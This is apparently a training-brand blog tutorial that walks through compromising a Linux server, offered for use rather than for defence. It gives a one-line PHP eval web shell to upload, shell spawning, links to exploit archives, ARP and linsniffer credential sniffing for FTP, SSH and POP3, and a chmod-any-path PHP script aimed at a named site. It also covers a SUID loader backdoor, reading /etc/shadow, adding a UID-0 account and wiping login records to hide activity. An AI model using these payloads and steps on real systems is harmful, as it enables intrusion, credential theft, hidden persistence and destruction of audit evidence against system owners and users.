How to Deploy a One‑Line PHP Backdoor and Escalate Linux Privileges
This guide demonstrates how to create a one‑line PHP backdoor, gain an interactive shell, perform Linux privilege escalation via kernel exploits, compile and use tools like arpsniffer and linsniffer, and employ various post‑exploitation techniques such as modifying system files and establishing persistent root access.
Creating a PHP Backdoor
Write a one‑line PHP backdoor and upload it to the target: <?php @eval($_POST[md5])?> Verify the file:
cat rankuplog_time.phpObtaining an Interactive Shell
Use Python’s pty module to spawn a fully interactive shell (most systems have Python installed): python -c 'import pty; pty.spawn("/bin/sh")' Check the current user: id Typical output shows a non‑root UID, e.g., uid=529(zeicom) gid=525(zeicom). Determine the kernel version: uname -r Example output: 2.6.18-164.11.1.el5PAE.
Linux Privilege‑Escalation Vectors
Common paths include third‑party software vulnerabilities, local trust features, and kernel overflows. Exploit databases such as http://tools.90sec.org/, http://sebug.net/paper/linux_exp/, http://x73.cc/bitch/exp/, and http://www.exploit-db.com/search/ provide relevant payloads.
Compiling and Using arpsniffer
Install required libraries:
rpm -ivh libnet-1.1.2.1-2.1.fc2.rf.i386.rpm
wget http://downloads.sourceforge.net/libpcap/libpcap-0.8.1.tar.gz
tar zxvf libpcap-0.8.1.tar.gz
cd libpcap-0.8.1
./configure
make
make installCompile the sniffer:
gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnetRun it against the target network (example IPs):
./arpsniffer -I eth0 -M 192.168.0.77 -W 192.168.0.1 -S 192.168.0.11 -P 110Capturing Traffic with tcpdump
Listen for traffic from the mail server: tcpdump -i eth0 host 192.168.0.11 Save captured packets to a file for later analysis:
tcpdump -i eth0 host 172.16.0.12 -w pop.txtModifying linsniffer.c to Capture Credentials
Adjust the destination‑port checks to target services of interest (e.g., FTP, SSH, Telnet, HTTP, POP3, Rlogin, POPPASS):
if(ntohs(tcp->dest)==21) p=1; /* ftp */
if(ntohs(tcp->dest)==22) p=1; /* ssh */
if(ntohs(tcp->dest)==23) p=1; /* telnet */
if(ntohs(tcp->dest)==80) p=1; /* http */
if(ntohs(tcp->dest)==110) p=1; /* pop3 */
if(ntohs(tcp->dest)==513) p=1; /* rlogin */
if(ntohs(tcp->dest)==106) p=1; /* poppasswd */Compile and run:
gcc -o linsniffer linsniffer.c
./linsnifferCaptured usernames and passwords are stored in tcp.log.
Cross‑Directory PHP Exploit
When privilege escalation fails, a simple PHP script can attempt to change permissions on an arbitrary path:
$path = stripslashes($_GET['path']);
$ok = chmod($path, 0777);
if($ok) echo "CHMOD OK, permission editable file or directory.";Save as tmdsb.php and invoke, for example:
http://www.tmdsb.com/tmdsb.php?path=../../target_dir/index.phpUdev‑Based Privilege Escalation (Kernel ≤ 2.6.*)
Upload the exploit source files, make them executable, and run the overflow binary to obtain a root shell.
Create a SUID copy of ld-linux.so.2:
cp /lib/ld-linux.so.2 /tmp/.str1ven
chmod +s /tmp/.str1venExecute the backdoor to regain root:
/tmp/.str1ven `which whoami`Post‑Exploitation Enumeration
Common commands to gather system information:
cat /etc/passwd
cat /etc/shadow
ifconfig
netstat -an | grep LISTEN
service --status-all | grep running
lsb_release -aModify SSH configuration to allow password authentication:
sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/' /etc/ssh/sshd_config
service sshd restartAlter /etc/passwd to give a user UID 0, or directly add a root‑equivalent account:
sed -i 's/bin:x:1:1/bin:x:0:1/' /etc/passwd
echo "nosec:x:0:0::/:/bin/sh" >> /etc/passwdClear login records to hide activity:
cp /dev/null /var/log/wtmpAdditional Tools
Compile a static protocol tester: gcc prtcl2.c -o local -static -Wall Create a large dummy file for certain kernel exploits: dd if=/dev/zero of=bigfile bs=10M count=10 All the above steps illustrate a typical workflow for gaining and maintaining root access on vulnerable Linux systems.
MaGe Linux Operations
Founded in 2009, MaGe Education is a top Chinese high‑end IT training brand. Its graduates earn 12K+ RMB salaries, and the school has trained tens of thousands of students. It offers high‑pay courses in Linux cloud operations, Python full‑stack, automation, data analysis, AI, and Go high‑concurrency architecture. Thanks to quality courses and a solid reputation, it has talent partnerships with numerous internet firms.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.
